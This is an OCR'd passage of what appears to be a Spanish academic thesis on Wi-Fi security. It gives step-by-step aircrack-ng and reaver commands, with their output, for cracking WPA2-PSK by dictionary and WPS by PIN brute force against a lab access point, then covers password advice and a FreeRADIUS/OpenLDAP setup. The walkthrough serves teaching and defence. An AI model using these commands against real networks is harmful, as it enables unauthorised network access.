PSK de 256 bits y posteriormente la generacion de los mensajes
correspondientes al 4-way Handshake, en este punto, los valores que se

enviaran al algoritmo PBKDF2 son simplemente cada una de las palabras
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contenidas en un diccionario de contrasefias. Para determinar si una de las
palabras contenidas en el diccionario ha sido la que se ha usado para generar la
clave PSK y la PTK, simplemente se compara el mensaje MIC (contenido en el
mismo paquete que contiene el Snonce) y si coincide con el MIC del 4-way
Handshake capturado anteriormente, se puede afirmar que se ha conseguido la

clave correcta.

Para llevar a cabo este caso practico se procede a cambiar el tipo de seguridad

en el punto de acceso:

Basic Wircless Scttings I Wircless Scaurity | Wircless MACFilter | Adw

Security Mode: WPAZ Personal <

Passphrase JL3Jh3ass

Save Settings Cancel Changes
llustracion 45 Contrasefia WPA2

Primer paso: configurar la tarjeta de red wireless en modo monitor:

airmon-ng start wlan0

Found 2 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!

PID Name
1981 NetworkManager
2064 wpa_supplicant

Interface Chipset Driver

wlan0 Intel 1000REV=0x6C iwlwifi - [phy0]
(monitor mode enabled on mon0)

llustracion 46 Modo monitor

Segundo paso: obtener informacion sobre el punto de acceso (MAC y canal de

emision):

CH 8 ][ Elapsed: 12 s ][ 2016-04-11 16:36
BSSID PWR Beacons #Data, #/s MB ENC CIPHER AUTH ESSID

26:CF:DA:B1:11:5]1 - 15 54e. WPA2 CCMP__ PSK__GoodGuyNew
: 10 54e WPA2 CCMP  PSK UOC_LAB
54e WPAZ CCMF  MGT _AUTO_ONOWiFi
54e WPA2 CCMP PSK 0ONOB59138
54e. WPAZ CCMP PSK MOVISTAR_4FC3
1 54e WPAZ CCMP  MGT _AUTO _ONOWiFi
54e WPA2 CCMP PSK ONO526B
54e WPA2 CCMP MGT _AUTO ONOWiFi
54e WPA2 CCMP _RUTO_ONOWiFi
Sd4e WPA2 CCMP GoodGuylew
54e WPA2 CCMP JAZZTEL 996E

54e WPA2 CCMP _AUTO_ONOWiFi
5de WPA2 CCMP ONOD335
54e WPA2 CCMP  MGT _AUTO_ONOWiFi

STATION Rate Lost Frames Probe

E0:69:95:22:1D:EC  14:2D:27:52:4B:31 -1 le- @ ] 1
2C:BO:5D:C5:E8:34 88:32:9B:07:7B:9C -76 0 -54 0 1

llustracion 47 Obtencion de MAC y Channel
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Tercer paso: iniciar airodump-ng para capturar el handshake. Desde un terminal

se ejecuta el comando:
# airodump-ng -c 6 --bssid 68:7F:74:1B:DC:DC -w WPA2PSK mon0

El parametro -a indica el punto de acceso, -c el cliente y -w nombre del fichero

donde se guarda la captura del trafico:

E & root  airedump-ng ! - Konscle
Archivo Editar Ver Marcadores Preferencias Ayuda

A

CH 6 ][ Elapsed: 0 s ][ 2016-04-11 18:25
BSSID PWR RX( Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:7F:74:18B:DC:DC -31 0 pL 7 0 6 54e WPA2 CCMP PSK UOC_LAB

BSSID STATION PWR  Rate Lost Frames Probe

llustracion 48 Punto de acceso sin cliente

Tras la conexion de una estacion se puede ver como airodump ha capturado el

handshake:

E e i root : sirodump-ng : - Konsole

Archivo Editar \er Marcadores Preferencias Ayuda

1 CH 6 ][ Elapsed: 24 s ][ 2016-04-11 18:26 ][:WF‘k handshake: ﬁB:?F:?4:1I]:DC:DC:
BSSID PWR RX(Q Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
68:7F:74:1B:DC:DC  -29 100 279 127 3 6 54e WPA2 CCHP PSK UOC_LAB
BSSID STATION PWR  Rate Lost Frames Probe
68:7F:74:1B:DC:DC  88:32:9B:07:7B:61 -38 Oe- Oe 53 22

llustracion 49 Punto de acceso con cliente

Cuarto Paso: usar aireplay-ng para desautentificar a un cliente conectado. Este
paso es opcional y solo es necesario realizarlo si se quiere acelerar activamente
todo el proceso. El requisito necesario es que se encuentre asociado un cliente
con el AP en el momento del ataque:

ifislax aireplay-ng -0 1 -a 68:7F:74:1B:DC:DC -c 88:32:9B:07:7B:61 mon®d
18 38 55 Waiting for beacon frame (BSSID: 68:7F:74:1B:DC:DC) on channel 6

18:38:56 Sending 64 directed DeAuth. STMAC: [88:32:9B:07:7B:61] [ 0] 1 ACKs]
llustracion 50 Desautenticacion de cliente

El parametro -a indica el punto de acceso y -c el cliente.

Quinto paso: ejecutar aircrack-ng para obtener la clave pre-compartida. Tal y
como se ha comentado al inicio de este apartado, es necesario un diccionario
para que la utilidad aircrack-ng pueda verificar si coincide la clave. Haciendo una

basqueda por internet se encuentran multiples sites donde estan disponibles
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para su descarga. Para este caso se ha usado un diccionario con 4865841
entradas.

# aircrack-ng -w diccionario.Ist -b 68:7F:74:1B:DC:DC WPA2PSK.cap

Ee root ! bash | - Konsole
Archive Editar Ver Marcadores Preferencias Ayuda

1s -1 WPA2PSK-01.*

root root 47517993 abr 11 18:41 WPA2PSK-01.cap

root root 572 abr 11 18:42 WPA2PSK-01.csv

root root 593 abr 11 18:42 WPA2PSK-01.kismet.csv

root root 3814 abr 11 18:42 WPA2PSK-01.kismet.netxml
aircrack-ng -w diccionario.lst -b 68:7F:74:1B:DC:DC WPA2PSK-01.cap

llustracion 51 Ejecucién de aircrack-ng

El parametro -w indica el nombre del fichero que contiene el diccionario, -b el
punto de acceso y WPA2PAS-01.cap es el nombre del fichero que contiene la

captura del tréfico.

Desde el terminal se muestra el proceso:

Aircrack-ng 1.2 rc2 r2666

[00:00:05] 18672 keys tested (3529.51 k/s)
Current passphrase: afvalprodukt
Master Key : B8 C3 OF 8D 13 D2 82 58 E4 11
6F D5 3B 72 27 90 A5 FD 28
Transient Key : 22 3 42 (6 3F
. 2 2 C 21
2E 1
2D

EAPOL HMAC H . ] 1E EB

llustracion 52 Inicio del proceso

Pasado unos minutos la aplicacién muestra por pantalla la contrasefa:
Aircrack-ng 1.2 rc2 r2666
04] 2805332 keys tested (3126.62 k/s)

KEY FOUND! [ JL3Jh3a58 1]

Master Key H 1A F8 D8 FE BB 9A 73 E2
1A F9 2E 09 34 5B 1D 8E

Transient Key : 5A 16 17 68 E3 0B (8
00 2C Al 36 5D DE
84 CE BA 5D 81 82
22 T: 94 BC 68

EAPOL HMAC : FD CC C8 5F C3 F4 96
llustracion 53 Finalizacion del proceso
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A la vista del resultado anterior queda demostrado que la seguridad ofrecida por
WPA2 no es del todo fiable, mas aun si se hace uso de contrasefias poco
seguras, ya que el éxito del ataque radica Unica y exclusivamente en la fortaleza
de las contrasefa que se haya utilizado. En este caso practico se ha utilizado
una contrasefia alfanumérica muy simple.
También se debe evitar los nombres SSID comunes como: Home, Personal, Wifi,
Default, etc.
Para generar una contrasefla segura se deben seguir las siguientes
recomendaciones:

e Debe tener ocho caracteres como minimo.

e No debe contener el nombre de usuario, el nombre real o el nombre de la

empresa. No debe contener una palabra completa.
e Debe ser significativamente diferente de otras contrasefas anteriores.
e Debe estar compuesta por caracteres de cada una de las siguientes

cuatro categorias: mindsculas, mayusculas, nimeros y simbolos.

Dado que son muchos los factores a tener en cuenta, en Internet se encuentran
generadores de claves que ayudan a conseguir una contrasefia segura en pocos
segundos como por ejemplo:

www.yellowpipe.com/yis/tools/WPA_key/index.php.

WPA Key Generator

O Light Security (8 characters/64 bits)
O Minimum Security (20 characters/160 bits)
® Maximum WPA Security (63 characters/504 bits)

O Custom Size: characters (Must be between 8 and 63)

Generate WPA Key

Here is your 504 bits WPA key:
“9gWaxdRc#arEjXd !wotHEAfEIg6Lf ! LZ-$&YpY ! GOP, d, UexGugXOg2d, ridh%3

llustracién 54 Generador WPA

Para determinar la fortaleza de una clave se puede recurrir a paginas como:

www.passwordmeter.com.

Test Your Password Minimum Requirements

Password: \egWaxdRc#arEjxdiwot] & Minimum & characters in length

O & Contains 3/4 of the following items:
- Uppercase Letters

Score: _ - Lowercase Letters

- Numbers
(T T SRV VVery Strong - Symbols

Hide:

llustracion 55 Verificacion de fortaleza
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3.6 Ataque WPS
El objetivo de este punto es usar la vulnerabilidad de WPS que fue descubierta
en 2011 por Stefan Viehbock, el cual permite a un atacante obtener el PIN WPS
de un punto de acceso y por ende la clave WPA/WPA2 mediante un ataque de

fuerza bruta en un breve periodo de tiempo.

La vulnerabilidad se basa en los mensajes de registrar y el enrollee cuando se
intenta validar un PIN. El protocolo de registro WPS establece una serie de
mensajes de intercambio EAP (Extensible Authentication Protocol) de la

siguiente forma:

Description || PKE

N2 || Description || PKR [ || ConfigData ] || HMAC_AuthKey(M1 || M2*)
E-Hashl || E-Hash2 || HMAC_AuthKey(M2 || M3*)

R-Hashl || R-Hash2 || ENC_KeyWrapKey(R-51) || HMAC_AuthKey (M3 || M4*)

drapkey(E-51) || HMAC_AuthKey (M4 || M5*)

drapkey(R-52) || HMAC_Authkey (M5 || MB*)

drapiey(E-52 [||ConfigData]) || HMAC_Authkey (M& || M7*)
1 || [ ENC_KeyWrapKey(ConfigData) ] || HMAC_AuthKey (M7 || M8*)

llustracion 56 Mensajes WPS

La identificacion del PIN WPS se articula alrededor de un juego de preguntas y
respuestas llamadas Mx. Si el PIN empleado es correcto se usaran 8 mensajes
M.

Todos los dispositivos WPS utilizan Pseudo Random Number Generator (PRNG)

para generar claves publicas mediante la formula: g”® mod p.

g: es el generador.

e A:es un numero privado usado por el "enrolle" (el punto de acceso).

B: es un namero privado usado por el "registrar” (el cliente).

mod p: es un modulo primario tal y como se entiende en aritmética.
En los mensajes M1 y M2 se obtiene la siguiente informacion:

e N1 Enrollee Nonce.
e PKR Public Key (Registrar Nonce) (g& mod p).
e PKE Public Key (Enrollee Nonce) (g* mod p).

En el mensaje M3 se obtiene:
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e E-Hashl=HMAC (E-S1, PSK1, PKE, PKR).
e E-Hash2= HMAC (E-S2, PSK2, PKE, PKR).

E-S1y E-S2 son nonces (numero arbitrario que so6lo puede ser utilizado una vez)
de 128 bits secretos generados justo después de que el punto de acceso genere

su N1 Nonce.

Los E-Hash emplean la funcién de hash (algoritmo matematico que transforma
cualquier bloque arbitrario de datos en una nueva serie de caracteres con una

longitud fija) HMAC para cifrar los datos que estan entre paréntesis.
PSK1 (PIN1) y PSK2 (PIN2) son la primera y la segunda mitad de PIN del AP.

Reaver utiliza las siguientes debilidades que ocurren durante el proceso de
registro:

1. Si el protocolo de registro falla en algun punto, el registrar enviara un

mensaje NACK.

Si el atacante recibe un mensaje NACK después de enviar el M4, sabra que la
primera mitad del PIN es incorrecta (R-Hash1l comprueba que la primera mitad

del PIN sea correcta, si recibimos un NACK es que el PIN no es correcto):

Enrollee <- Registrar: M4 = Version || M1 || R-Hashl || R-Hash2 || ENC_KeyWrapKey(R-51) || HMAC_AuthKey (M3 || M4*)

llustracion 57 Mensaje M4

2. Si el atacante recibe un NACK después de enviar el mensaje M6, sabe
que la segunda mitad del PIN es incorrecta (andlogamente a lo que
sucede con el mensaje M4).

Como el PIN1 esta compuesto de cuatro digitos y por tanto el nimero de
combinaciones es de 10*. El PIN2 varia dependiendo del fabricante, existe un
caso donde el ultimo digito de este PIN (casuistica muy comun) se utiliza como
checksum (tiene como propdsito principal detectar cambios accidentales en una
secuencia de datos para proteger la integridad de estos), por lo que el nimero
de combinaciones desciende hasta 103. En el segundo caso el ultimo digito
formaria parte de PIN, por lo que el nimero de combinaciones seria de 10 Nos
enfrentamos a una tecnologia que con un maximo de 20.000 combinaciones que

se podria vulnerar, aunque normalmente son 11.000 combinaciones por usar el
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ultimo digito como checksum.

LINKSYS by Cisco
Dual-band Wireless-N Gigabit Router

Model No. [ KF1]]]

Serial No.:

O 000000 0 00 OO0 0

CUH01K207223

MAC Address:

)00 000

887F741BDCDA

@ 66825890

[ )

llustracion 58 PIN WPS

A través de la interfaz web se activa WPS:

Configuration View: Manual | * Wi-Fi Protected Setup

Wi-Fi Protected Setup

Use one of the following for each Wi-Fi Protected Setup supported
device:

1. If your client device has a
Wi-Fi Protected Setup button,
click or press that buticn, and
then click the button on the
right.

OR

2.f your client device has a Wi-Fi Protected Setup PIN number,
enter that number here and then click Register

OR

3. If your client asks for the Router's PIN number, enter this number
668258930 in your client device.

llustracion 59 Activacién de WPS

Primer paso: configurar la tarjeta de red wireless en modo monitor:

# arimon-ng start wlanO

Para atacar redes con WPS se hara uso de Reaver; una herramienta que permite

realizar ataques de fuerza bruta contra puntos de acceso.

Segundo paso: detectar puntos de acceso con WPS. Para obtener el listado de

las redes se ejecutara:

#wash —i monO --ignore-fcs

Donde —ignore-fcs evita que salga por pantalla la informacion detallada:
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wash -i mon® --ignore-fcs

Wash v1.4-r119 WiFi Protected Setup Scan Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

Version Locked
C:BO:5D:C5:E8:34 ] ! 1. GoodGuyNew
C:53:7C:05:A3:74 ] 1. No ONOEFF1
(:53:7C:05:62:C. ] 1. No ONOD335
(:53:7C:3A: -89 1. No ONOFB9B
) -35 1. No uoC LAB
llustracion 60 Ejecucién de wash

Tercer paso: ataque de fuerza bruta. Reaver ha sido desarrollado para realizar
un ataque de fuerza bruta contra la primera mitad del PIN y una vez descubierto

realizar otro ataque contra la segunda mitad.

Una vez localizada la red, se procedera a ejecutar reaver desde un terminal de

consola:

reaver -i mbnﬂ -b 68:7F:74:1B:DC:DC -c 7 -wv

Reaver v1.4-r119 WiFi Protected Setup Attack Tool
Copyright (c) 2011, Tactical Network Solutions, Craig Heffner <cheffner@tacnetsol.com>

llustracion 61 Ejecucion de reaver

Donde —-b es la MAC del punto de acceso, -c es el canal de emision y —vv el nivel

de detalle de informacion que se quiere obtener.

Tras la ejecucion, reaver comienza a generar contrasefias y prueba si son

validas:

Switching mon® to channel 7

Waiting for beacon from 68:7F:74:1B:DC:DC
Associated with 68:7F:74:1B:DC:DC (ESSID: UOC_LAB)
Trying pin 12345670

Sending EAPOL START request
Received identity request

Sending identity response
Received M1 message

Sending M2 message

Received M3 message

Sending M4 message

WARNING: Receive timeout occurred
Sending WSC NACK

Trying pin 00005678

Sending EAPOL START request
Received identity request

Sending identity response
Received M1 message

Sending M2 message

Received M3 message

Sending M4 message

Received WSC NACK

Sending WSC NACK

Trying pin 11865674

Sending EAPOL START request
Received identity request

Sending identity response
Received M1 message

Sending M2 message

llustracion 62 Ataque de fuerza bruta
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Pasadas unas horas se obtiene la contrasefia y por pantalla se observa la
contrasefa del cifrado WPA:

Trying pin 66825890

Sending EAPOL START request

Received identity request

Sending identity response

Received M1 message

Sending M2 message

Received M3 message

Sending M4 message

Received M5 message

Sending M6 message

Received M7 message

Sending WSC NACK

Sending WSC NACK

Pin cracked in 5 seconds

WPS PIN: '66825890°

WPA PSK: *1L3]h3a58"

AP SSID: 'UOC LAB®

Nothing done, nothing to save.
llustracion 63 Obtencién del PIN WPS

Tal y como funciona WPS una vez obtenido el PIN reaver transmite el codigo al

router y a cambio este ultimo le envia los datos para acceder a la red.

En el resumen de la configuracion del punto de acceso se verifica que los datos

obtenidos por reaver son correctos:

Network Name (SSID): UOC_LAB

Security: WPA2 Personal
Passphrase: JL3Ih3a58
Wireless Band: 24 GHz

llustracion 64 Clave WPA2

Ha quedado demostrado que aunque se disponga de un protocolo de WPA2-
PSK con una contrasefia con cierta complejidad, al configurar una red Wi-Fi con
tecnologia WPS se abre una puerta trasera que deja al descubierto la seguridad

de la red.

3.7 Conclusiones
Acceder a una red Wi-Fi sin tener los datos de acceso es una tarea de una

dificultad media y solo sera necesario dedicarle unas horas.

No es obligatorio tener conocimientos avanzados de informatica o programacion
para vulnerar una red. Si se poseen éstos, ayudaran, pero si no se tienen,
bastaré con ser un usuario audaz, ya que existen muchos programas preparados

para realizar atagues a redes sin necesidad de extensos conocimientos.
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Lo mas habitual es que el atacante con un perfil bajo, que esta iniciandose, siga
un tutorial y consiga el acceso a redes con unos niveles de seguridad basicos.
Pero no hay que olvidar que existen usuarios que se dedican de manera
profesional y pasan largas horas aprendiendo el uso de las herramientas a un
nivel mas profundo, dado que las redes objetivos del ataque implementan una
seguridad mas compleja.

4. Autenticacidon en redes inalambricas con
RADIUS

4.1 Introduccién

Actualmente la forma mas efectiva de securizar una red Wi-Fi es mediante
WPA/WPAZ2-Enterprise. El modo Enterprise, modo 802.1X o RADIUS ofrece una
proteccion adecuada para las empresas ya que no solo es quien valida la
identidad de quien accede a la red (a través de un método EAP) si no que es
quien fuerza, con cierta frecuencia, la generacion de una nueva clave de cifrado
para la conexion establecida, haciendo que la probabilidad de que un ataque
identifique la clave de cifrado sea minima.

En el presente capitulo se procederda a explicar cdmo implementar una
plataforma que soporte WPA/WPA2-Enterprise haciendo uso de herramientas
Open Source. Para ello se montar, en el laboratorio, un servidor FreeRADIUS
y OpenLDAP con el objetivo de que los usuarios de la red inaldmbrica usen como
meétodo de autenticaciéon EAP-TTLS y con el protocolo de autenticacion PAP.

4.2 WPA2-Enterprise

En entornos empresariales es necesario usar mecanismos de control de acceso
versatiles y faciles de mantener, como por ejemplo, identificacion por medio de
usuario/contrasefia o la posesion de un certificado digital. Indudablemente el
hardware de un punto de acceso no tiene la capacidad para almacenar y
procesar toda esta informacion por lo que es necesario recurrir a un servidor que
confirme las credenciales. Ahora bien, parece complicado que un cliente se
pueda validar ante un componente de la red por cable si todavia no tiene acceso
alaredy es en este punto donde entra en juego el IEEE 802.1X que permite el

trafico de validacion entre un cliente y un equipo de la red local (RADIUS). Una
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vez que se ha validado a un cliente es cuando WPA inicia TKIP para utilizar

claves dindmicas o AES en el caso de WPA2.

Authentication: IEEE 802.1X
client device
l IOCREE RADIUS
SEMVEr

i
g Encryption: l point |
TR o \ . |~2
I AES-CCMP : R—— J
supplicant authenticator authentication
sarver

llustracién 65 Validacion IEEE 802.1X

Los clientes WPA/WPA2 tienen que estar configurados para utilizar un sistema

concreto de validacion que es completamente independiente del punto de

acceso. Los sistemas de validacion pueden ser:

EAP-TLS: es un método de autenticacion mutua, lo que significa que tanto
el cliente como el servidor deben demostrar sus identidades uno a otro.
Durante el proceso de autenticacion, el cliente de acceso remoto envia su
certificado de usuario y el servidor de acceso remoto envia su certificado
de equipo. Si el certificado no se envia o no es valido, se termina la
conexion.

EAP-TTLs: método de autenticacion basado en una identificacion de
usuario y contrasefia que se transmiten cifrados mediante TLS, creando
un tinel para transmitir las credenciales. La diferencia que presenta frente
a EAP-TLS es que EAP-TTLs solo necesita certificado de servidor.
PEAP: el protocolo de autenticacion extensible protegido es un nuevo
miembro de la familia de protocolos de EAP. Se utiliza seguridad de nivel
de transporte (TLS) para crear un canal cifrado entre un cliente de
autenticacion PEAP y un autenticador PEAP. Este proceso tiene lugar en
dos etapas: en la primera etapa se configura un canal seguro entre el
cliente y el servidor de autenticacion. En la segunda se proporciona la

autenticacion EAP entre el cliente y el autenticador EAP.

El estandar 802.1X utiliza EAP (Extensible Authentication Protocol, Protocolo de

Autenticacion Extensible) para la autenticacion de usuarios. En realidad EAP

actia como intermediario entre un solicitante y un motor de validacion (RADIUS)

permitiendo la comunicacién entre ambos.

El proceso de validacidon esta conformado por tres elementos, un solicitante que
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quiere ser validado mediante unas credenciales, un punto de acceso y un
sistema de validacion situado en la parte cableada de la red. Para conectarse a
la red, el solicitante se identifica mediante unas credenciales, junto con las
credenciales, el cliente solicitante tiene que afadir también qué sistema de
validacion tiene que utilizar. En general EAP recibe una solicitud de validacion y
la remite a otro sistema que sepa como resolverla y que formara parte de la red
cableada. De esta forma vemos como el sistema EAP permite un cierto trafico
de datos con la red local para permitir la validacion de un solicitante. El punto de
acceso rechaza todas las tramas que no estén validadas, que provengan de un
cliente que no se ha identificado, salvo aquéllas que sean una solicitud de
validacion. Estos paquetes EAP que circulan por la red local se denominan
EAPOL (EAP over LAN). Una vez validado, el punto de acceso admite todo el
tréfico del cliente.

El sistema de autenticacion serda un servidor RADIUS situado en la red local. El

proceso de autenticacion 802.1X consta de los siguientes pasos:

e El cliente envia un mensaje de inicio EAP que inicia un intercambio de
mensajes para permitir autenticar al cliente.

e El punto de acceso responde con un mensaje de solicitud de identidad
EAP para solicitar las credenciales del cliente.

e El cliente envia un paquete respuesta EAP que contiene las credenciales
de validacién y que es remitido al servidor de validacién ajeno al punto de
acceso.

e EIl servidor de validacion analiza las credenciales y el sistema de
validacion solicitado y determina si autoriza o no el acceso. En este punto
tendran que coincidir las configuraciones del cliente y del servidor, las
credenciales tienen que coincidir con el tipo de datos que espera el
servidor.

e El servidor pude aceptar o rechazar la validacion y le envia la respuesta
al punto de acceso.

e El punto de acceso devuelve un paquete EAP de acceso o de rechazo al

cliente.
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e Si el servidor de autenticacion acepta al cliente, el punto de acceso

modifica el estado del puerto de ese cliente como autorizado para permitir

las comunicaciones.

4.3 Modelado de la solucion, recursos hardware y software.

La infraestructura que se va a instalar depende principalmente de las siguientes

soluciones de software libre:

Ubuntu Server 14.04.4 LTS: Ubuntu es un sistema operativo basado
en GNU/Linux y que se distribuye como software libre. La edicidén
Ubuntu Server es una variante de Ubuntu y est4d enfocada
especialmente para su uso en servidores (un servidor es una maquina
gue nos proporciona algun servicio). El uso de Ubuntu como servidor
se ha extendido mucho en los ultimos afios tanto a nivel particular
como profesional.

El servidor sera desplegado en un entorno virtual y en éste se
instalaran el resto de componentes.

FreeRADIUS 2.2.9: RADIUS es un protocolo de seguridad que sigue
un modelo cliente/servidor, donde el papel de servidor es
desempefiado por RADIUS que contiene o conoce donde esta la
informacion de los usuarios y un elemento de red designado como
NAS (Network Access Server). NAS se encarga de retransmitir las
solicitudes de conexion, autenticacion de usuarios y en general toda la
informacion necesaria para el usuario. Los elementos caracteristicos
que posee RADIUS le han permitido guardar un alto grado de
compatibilidad con la arquitectura dispuesta por las redes inalambricas
IEEE 802.11, segun la norma RFC3580 éste es el servidor
recomendado para prestar los servicios de autenticacion en redes
inalambricas.

OpenLDAP 2.1. LDAP (Lightweight Directory Access Protocol): este
protocolo organiza la informacion en un modo jerarquico usando
directorios que almacenan una gran variedad de informacion. LDAP
soporta la capa de conexion segura (SSL) y la seguridad de la capa

de transporte (TLS), por lo que los datos confidenciales se pueden
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proteger.

Es un sistema cliente/servidor, donde el servidor puede usar una
variedad de bases de datos para guardar un directorio, cada uno
optimizado para operaciones de lectura rapida y en gran volumen.
Cuando una aplicacion cliente LDAP se conecta a un servidor LDAP
puede, o bien consultar un directorio, o intentar modificarlo. En el
evento de una consulta, el servidor, puede contestarla localmente o
puede dirigir la consulta a un servidor LDAP que tenga la respuesta.
Si la aplicacion cliente esta intentando modificar informacion en un
directorio LDAP, el servidor verifica que el usuario tiene permiso para
efectuar el cambio y después afiade o actualiza la informacion. Cabe
destacar que LDAP define el método para acceder a datos en el
servidor a nivel cliente pero no la manera en la que se almacena la

informacion.

Los tres elementos anteriores permitirdn implementar una configuracion EAP-

TTLS la cual resulta mas equitativa en relacion infraestructura-seguridad:

Todo el trafico circula totalmente cifrado, de manera que nos proporciona
un sistema seguro de acceso a la red.

Es un método de autenticacién que implementa un sistema de dos tuneles
de seguridad: uno para el intercambio de credenciales y otro para el
traspaso de la clave de cifrado de sesidn con la que los puntos de acceso
cifran el trafico con el cliente que se conecta.

La autenticacién se realiza solo con certificados de servidor y no es
necesario generar certificados para cada cliente nuevo que desee
conectarse a la red.

A diferencia de otros tipos de EAP, tiene la capacidad de soportar una
amplia variedad de métodos de autenticacién interna como: Active
Directory, Token Systems, SQL y LDAP.

EAP-TTLS no es vulnerable actualmente a ataques MIiTM ni de

diccionarios.

Independientemente de los métodos de autenticacion que hemos visto en el

punto anterior, para la comunicacion interna de los servicios es posible usar

diferentes protocolos de autenticacion: PAP (Protocolo simple de autenticacion),
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CHAP (Protocolo de autenticacion por desafio mutuo) o MSCHAP/MSCHAPV2

(Microsoft Challenge Handshake Authentication Protocol).

En la plataforma que se va a implementar debemos usar PAP debido a la
compatibilidad que posee con los algoritmos de cifrado de las contrasefias de
LDAP [6]. No es recomendable usarlo independiente, pero no existen
inconvenientes al usarlo de forma conjunta con EAP-TTLS ya que éste cifra toda

la comunicacion cliente-servidor haciendo uso de tuneles.

Para la virtualizacion del servidor sera necesario un equipo que tenga recursos
suficientes para cubrir los requerimientos tanto del sistema anfitrion como los
requisitos minimos del sistema operativo huésped que vayamos a virtualizar. En
este caso en particular se hara uso de un Apple iMac 21.5-inch, Mid 2011 que
consta de:

e Procesador: 2.5GHz quad-core Intel Core i5

e Memoria: 16GB DDRS3.

e Disco Duro: Fusion Drive 750 GB.

e Sistema Operativo: OS X El Capitan.

e Sistema de virtualizacién: Parallels Desktop 11.
El servidor virtual tendra los siguientes requisitos hardware:

e Memoria: 2 GB.

e 2VCPU.

e Disco Duro: 15 GB.

e Sistema Operativo: Ubuntu Server 14.04.4 TLS.

o 1 tarjeta de red.

4.4 Instalacion FreeRADIUS
Durante las primeras pruebas de concepto del laboratorio encontré varios bugs
que afectaban a la version que instala por defecto Ubuntu Server 14.04.4. Uno
de los mas graves era que una vez parado el servicio, éste arrancaba
automaticamente blogueando los puertos de conexion. Por este motivo se han
afiadido fuentes de actualizacion al sistema operativo, que permiten actualizar

los binarios a una version mas reciente.
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Para tener la ultima version estable de FreeRADIUS es necesario afiadir un
repositorio adicional. Debemos editar el fichero /etc/apt/sources.list y agregar las
siguientes lineas al final del fichero:

C /freer o fu trusty main
1ttp: /. Launchpad.net/Tre t ubuntu trusty main

llustracion 66 Repositorios FreeRADIUS

Ahora procedemos a actualizar los repositorios mediante el comando:
# sudo apt-get update

Una vez finalizado ejecutamos la instalacion de FreeRADIUS:

# sudo apt-get install freeRADIUS freeRADIUS-Idap

root@server: /home/aglez# sudo apt-get install freeradius freeradius-ldap
Leyendo lista de paquetes... Hecho
Creando &rbol de dependencias
Leyendo la informacidn de estado... Hecho
Se instalardn los siguientes paquetes extras:
freeradius-common freeradius-utils libdbi-perl libfreeradiusz ssl-cert
Paquetes sugeridos:
freeradius-postgresql freeradius-mysgl freeradius-krbS libclone-perl
libmldbm-perl libnet-daemon-perl libplrpc-perl libsql-statement-perl
openssl-blacklist
Se instalaran los siguientes paguetes NUEVOS:
freeradius freeradius-common freeradius-ldap freeradius-utils libdbi-perl
libfreeradius2 ssl-cert
8 actualizados, 7 se instalardn, @ para eliminar y 2 no actualizados.
Necesito descargar 2.806 kB de archivos.
Se utilizardn 6.998 kB de espacio de disco adicional después de esta operacién.
iDesea continuar? [5/n] I

llustracion 67 Instalacion de FreeRADIUS
Una vez concluida la instalacion el sistema arranca el servicio.
4.5 Instalacion OpenLDAP
Para lanzar la instalacion del servicio debemos ejecutar el comando:

# sudo apt-get install install slapd Idap-utils

aglez@SerVer:~% sudo apt-get install slapd ldap-utils

[sudo] password for aglez:

Leyendo lista de paguetes... Hecho

Creando arbol de dependencias

Leyendo la informaci6n de estado... Hecho

Se instalaran los sigulentes paquetes extras:
11b1td1l7 libodbcl libperl5.18 libslpl

Paguetes sugeridos:
libmyodbc odbc-postgresql tdsodbc unixodbc-bin slpd openslp-doc
Se instalaran los siguilentes paquetes NUEVOS:
ldap-utils libltdl7 libodbcl libperls.18 libslpl slapd
8 actualizados, 6 se instalarédn, 0 para eliminar y © no actualizados.
Necesito descargar 1.690 kB de archivos.
Se utilizaran 6.073 kB de espacio de disco adicional después de esta operacidn.
iDesea continuar? [S/nl |}

llustracion 68 Instalacion de OpenLDAP

El sistema solicitara la contrasefia del administrador de LDAP y su

correspondiente verificacion:
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] |
a 1 ! a
por favor introduzca la contrasefia para la entrada de administrador de su directorio LDAP.

Contrasefia del administrador:

<Aceptar>

llustracion 69 Contrasefia de administrador

4.6 Configuracién FreeRADIUS

Los archivos de configuracion se encuentran en el directorio /etc/freeRADIUS/ y
dentro es éste hay multiples ficheros y subdirectorios. A continuacion se
nombraran solo aquellos que seran necesarios modificar. Como medida

preventiva se hara copia de seguridad de los ficheros originales para poder
recuperar el estado inicial en caso de que hubiera algun tipo de error durante la

edicion de las nuevas versiones:

root@SerVer:/etc/freeradius# cp eap.conf eap.conf.BKP
root@SerVer: /etc/freeradius# cp clients.conf clients.conf.BKP
root@SerVer: /etc/freeradius# cp radiusd.conf radiusd.conf.BKP
root@SerVer: /etc/freeradius# cp modules/ldap modules/ldap.BKP
root@SerVer: /etc/freeradius#

llustracion 70 Copia de seguridad

4.6.1 RADIUS.conf:
Este fichero es el principal del servicio y es aqui donde encontraremos muchas
especificaciones y directivas del servidor.

Se modificaran las siguientes lineas:
auth = no — yes
auth_badpass = ho — yes
auth_goodpass = no — yes
proxy_request = yes — no
$INCLUDE proxy.conf — Se comenta la linea afiadiendo “#”

El fichero completo figura en el anexo 1.
4.6.2 Eap.conf
Se utiliza para configurar el tipo de EAP (Extensible Authentication Protocol) a
emplear. Se deben definir donde se encuentran los certificados del servidor y de
la autoridad de certificacion (CA). Pero antes de definirlos es necesario crearlos,
para ello se hara uso de un método automatizado, que provee FreeRADIUS,
para obtener los certificados necesarios.
El primer paso es ubicarse en la ruta /usr/share/doc/freeRADIUS/examples/certs

gue es donde se encuentran los siguientes archivos:
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root@SerVer:/usr/share/doc/freeradius/examples/certs# ls _
hootstrap ca.cnf client.cnf Makefile README server.cnf xpextensions

root@SerVer: /usr/share/doc/freeradius/examples/certs# |J

llustracion 71 Configuracion de la CA

Editamos los siguientes campos del fichero ca.cnf para configurar la entidad
certificadora:

certificate authorityl

ountryName =

EtateOrProvinceName CANARIAS

ocalityName Tenerite
brganizationName my - Lab

bmallAddress admin@uoc. Lab

ommonName "Certificate Authority®

llustracion 72 Entidad certificadora

Es recomendable cambiar la contrasefia que viene por defecto:

= no
distinguished name certificate_authority
default bits 2048
input_password whatever
output_password whatever
¥509 extensions = v3 _ca

llustracion 73 Contrasefna de la CA

Ahora editamos solo los campos que salen en la imagen del fichero server.cnf
para configurar los parametros del certificado del servidor:

[server]

countryName ES
stateOrProvinceName CANARIAS
